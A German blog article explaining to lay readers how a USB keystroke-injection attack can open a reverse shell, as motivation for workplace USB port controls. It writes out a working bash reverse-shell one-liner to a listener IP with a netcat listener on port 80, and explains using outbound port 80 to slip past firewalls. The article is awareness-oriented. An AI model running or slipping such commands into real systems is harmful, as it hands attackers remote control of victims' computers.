Netzwerk & IPSicherheit

Für Laien: Ablauf eines Hacker-Angriffs via USB – aka Reverse Shell

Vielleicht verbietet Euer Arbeitgeber auch, dass Ihr private USB-Sticks an den Bürorechner schließt? Dafür hat er gute Gründe - die bösen Hacker ..., klar. Aber wie genau könnte so ein Angriff eigentlich ablaufen? Und zwar im Detail? Ein Schritt-für-Schritt-Beispiel mit der Revese Shell - für IT-Sicherheits-Laien. Übrigens: Auch daheim lauert diese Gefahr!

Gefährliche USB-Sticks?

Viele Arbeitgeber und auch der Bund machen mehr oder weniger strikte Vorgaben, wie mit USB-Schnittstellen an Arbeitsplatz-PCs umgegangen werden muss. Ich habe zum Beispiel beim BSI zweieinhalb Jahre an den Mindeststandards für den Bund mitgearbeitet und unter anderem auch den Standard Schnittstellenkontrolle betreut. Darin wird beispielsweise festgelegt, dass Inhalte von eingesteckten USB-Sticks nicht einfach so auf den Rechner dürfen. Das muss entweder über Software kontrolliert oder auch durch Systemeinstellungen komplett verboten werden. Alternativ darf man die USB-Buchsen auch einfach physisch unbrauchbar machen, sprich zukleben. Aber warum so drastische Maßnahmen?

Das Einstecken eines USB-Sticks kann bei vielen Systemen ausreichen, um automatisch Daten zu kopieren oder noch schlimmer, bösartige Software einzuschleusen. Und selbst mit Bordmitteln lässt sich bereits ein kompletter Rechner übernehmen. Nehmen wir also mal an, Kollege Mieser Mobber schnorrt bei Euch einen Kaffee und während Ihr Milch holt, steckt er kurz den USB-Stick in Euren Rechner ... Oder ein Besucher. Und daheim? Steht irgendwo ein Mediacenter herum? Ein NAS? ein Tablet? Ein Fernseher? Auch hier könnte ein Angreifer ganz fix einen Stick einstecken - seid Ihr sicher, allen Besuchern trauen zu können? Handwerkern, Partygästen und deren Anhängseln, Putzhilfen und so weiter? Wenn die Zugriff auf Euer Netzwerk samt Kameras in Smartphone und Tablet oder die Webcam haben - wäre nicht so toll, oder?! Das könnt Ihr daheim nachspielen!

Im Folgenden seht Ihr, was genau auf beiden Rechnern vor sich geht. Zum Nachstellen braucht Ihr nichts weiter als zwei Rechner - das können natürlich auch einfach virtuelle Maschinen sein. Unter Linux sind die Tools bereits vorhanden, aber eigentlich braucht Ihr kein Linux, sondern nur eine Shell mit den passenden Programmen - die einfachste Variante für Windows: Installiert Git for Windows - darin enthalten ist eine Bash, die übliche Shell/Eingabeaufforderung unter Linux.

Die Reverse Shell

Eine Shell ist die Arbeitsumgebung eines Betriebssystems, das Nutzer-Interface: Eine simple Kommandozeile mit einer Reihe von Tools/Befehlen oder auch eine grafische Desktop-Umgebung. Für diesen Artikel ist damit schlicht die Bash gemeint, unter Linux quasi das Gegenstück zur Eingabeaufforderung von Windows. In dieser Shell könnt Ihr mit den entsprechenden Befehlen den gesamten Rechner administrieren, auf das lokale Netzwerk zugreifen, auf Dateien und so weiter.

Vielleicht kennt Ihr das von SSH: Mit dem Secure-Shell-Protokoll könnt Ihr Euch mit entfernten Rechnern verbinden, beispielsweise um auf ein NAS, einen Raspberry Pi oder den Router zuzugreifen. Falls nicht, hier die Kurzversion: Auf dem entfernten Rechner läuft ein SHH-Server und wartet auf eine Verbindungsanfrage von Eurem SSH-Client auf dem lokalen Rechner. Ihr loggt Euch mit einem Befehl wie ssh 192.168.1.100 auf einem SSH-Server ein und könnt dann mit diesem Rechner arbeiten, als säßet Ihr direkt davor.

Bei der Reverse Shell geht das Prozedere nun umgekehrt: Der entfernte Rechner baut eine Verbindung zu Eurem lokalen Rechner auf und bietet Euch ebenfalls Zugriff auf die Kommandozeile. Das Ergebnis ist weitgehend identisch. Der große Unterschied: Für SSH müsstet Ihr Euch anmelden, SSH müsste überhaupt erst laufen und vom Netzwerk müssten eingehende SSH-Verbindungen zugelassen werden - was Firewalls oft verbieten. Wenn aber der angegriffene Rechner selbst diese Verbindung aufbaut, ist die Welt auch für Firewalls in der Regel rosarot.

Genau darum funktioniert die Reverse Shell trotz vieler Sicherheitsmaßnahmen: Firewalls lassen in der Regel ausgehende Anfragen über Port 80 zu - wenn nicht, könntet Ihr nämlich keinerlei Webseiten mehr aufrufen. Wichtig ist also: Port 80, da dieser normalerweise freigeschaltet ist und ausgehend, da eingehende Anfragen meist geblockt werden.

Ihr benötigt also zwei Dinge: Etwas auf Eurem lokalen Rechner, das auf eingehende Anfragen wartet (nc/netcat) und einen Befehl auf dem entfernten Rechner, um die Verbindung aufzubauen (bash).

bash shell reverse nc
Der Angreifer lauscht, das Opfer stellt die Verbindung her - dann werden Ein- und Ausgaben umgeleitet.

Reverse Shell aufbauen

Lokaler Rechner/Angreifer (Beispiel-IP: 192.168.178.137): Öffnet einen Terminal und gebt folgenden Befehl ein, um auf eingehende Kontaktanfragen zu lauschen:

nc -lvp 80

nc (netcat) ist ein unter Linuxen standardmäßig verfügbares Tool für etliche Netzwerkaufgaben. Über l wird auf eingehende Anfragen gelauscht (l für listen), v steht für verbose und gibt einfach nur detailliertere Meldungen aus und über p wird letztlich der Port 80 angegeben.

Ports sind so etwas wie Hausnummern: Eine IP-Adresse gibt einen Rechner an und der Port, zum Beispiel einen Server auf diesem Rechner. Webserver laufen in der Regel über Port 80. Wenn Ihr zum Beispiel tutonaut.de eingebt, ist das dasselbe wie tutonaut.de:80 - da 80 Standard ist, wird es im Browser dann einfach vorausgesetzt.

Entfernter Rechner/Opfer (Beispiel-IP: 192.168.178.47): Auf dem Rechner der testweise angegriffen werden soll, gebt Ihr nun folgenden Befehl im Terminal ein:

bash -i >& /dev/tcp/192.168.178.137/80 0>&1

Zunächst wird der Terminal Bash über bash -i im interaktiven Modus gestartet - ohne weiteres würdet Ihr einfach lokal nochmal einloggen. Das < & heißt, dass Standard-Error und -Output, also das, was Bash ausgibt, umgeleitet werden. Und zwar an an die angegebene Adresse samt Port. 0>&1 heißt, dass der Standard-Input, also das, was Ihr eintippt, von dem angegebenen Rechner eingelesen wird. Sprich: Ihr gebt lokal Befehle ein, diese werden an den entfernten Rechner geschickt und die Ausgabe der Befehle landet dann wieder bei Euch.

Bleibt noch das /dev/tcp - das ist eine Linux-Art, die Ihr an dieser Stelle einfach hinnehmen müsst ... Unter /dev findet Ihr eigentlich eingebundene Geräte wie Festplatten oder Netzwerkkarten. /dev/tcp ist ein so genanntes Pseudo-Gerät - Ihr werdet dort keinerlei Dateien/Geräte finden. Man kann hier aber eben eine IP-Adresse angeben und dann einen Befehl auf dieses per IP-Adresse angegebene Gerät loslassen - hier eben die Umleitung der lokalen Shell.

Lokaler Rechner: Auf dem angreifenden Rechner seht Ihr nun schon den Prompt des angegriffenen Rechners - und könnt nun "auf dem enternten Rechner" arbeiten.

reverse shell terminal
Terminal des Angreifer: Der lokale Nutzer (mirco) wartet auf Verbindung - Verbindung wird aufgebaut - es erscheint der Prompt des Opfers (kanutschi2).

Die Praxis

Nochmal in Kurz: Im Grunde leitet der angegriffene Rechner schlicht und ergreifend seine Eingabeaufforderung an den wartenden Rechner des Angreifers weiter - und schon ist die Kacke am Dampfen ;) Dafür benötigt man natürlich einen USB-Stick, der beim Einstecken automatisch mit der Arbeit anfängt.

Das erledigt zum Beispiel der Rubber Ducky: Sieht aus wie ein USB-Stick, wird von Computern als Tastatur erkannt (!) und tippt munter Befehle - und kann damit eben einen Terminal öffnen und den obigen Befehl eingeben. So einfach kann das sein. Die komplexere Variante wäre dannn der Bash Bunny mit weiteren Attakierungsmöglichkeiten. Und genau deshalb gibt es so recht strikte Werke wie den Mindeststandard Schnittstellenkontrollen. Jede Bundesbehörde muss all ihre Rechner dementsprechend absichern und Produkte einkaufen, die damit konform gehen.

Rubber Ducky gibt sich als Tastatur aus - eine Waffe für 45 Dollar ...
Quelle: Hak5

Zugegeben, das Ganze mag für Laien trotz aller Vereinfachungen nicht ganz trivial erscheinen, aber vielleicht konntet Ihr so mal nachvollziehen, wie dieses böse "Computer übernehmen" in der Praxis ablaufen könnte - wohlgemerkt könnte, denn es gibt Myriaden weiterer Möglichkeiten.

Hier findet Ihr mehr zum Thema Sicherheit.

Mirco Lang

Freier Journalist, Exil-Sauerländer, (ziemlich alter) Skateboarder, Dipl.-Inf.-Wirt, Einzelhandelskaufmann, Open-Source-Nerd, Checkmk-Handbuchschreiber. Ex-Saturn'ler, Ex-Data-Becker'ler, Ex-BSI'ler. Computer-Erstkontakt: ca. 1982 - der C64 des großen Bruders eines Freunds. Wenn Ihr hier mehr über Open Source, Linux und Bastelkram lesen und Tutonaut unterstützen möchtet: Über Kaffeesponsoring via Paypal.freue ich mich immer. Schon mal im Voraus: Danke! Nicht verpassen: cli.help und VoltAmpereWatt.de. Neu: Mastodon

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert

Schaltfläche "Zurück zum Anfang"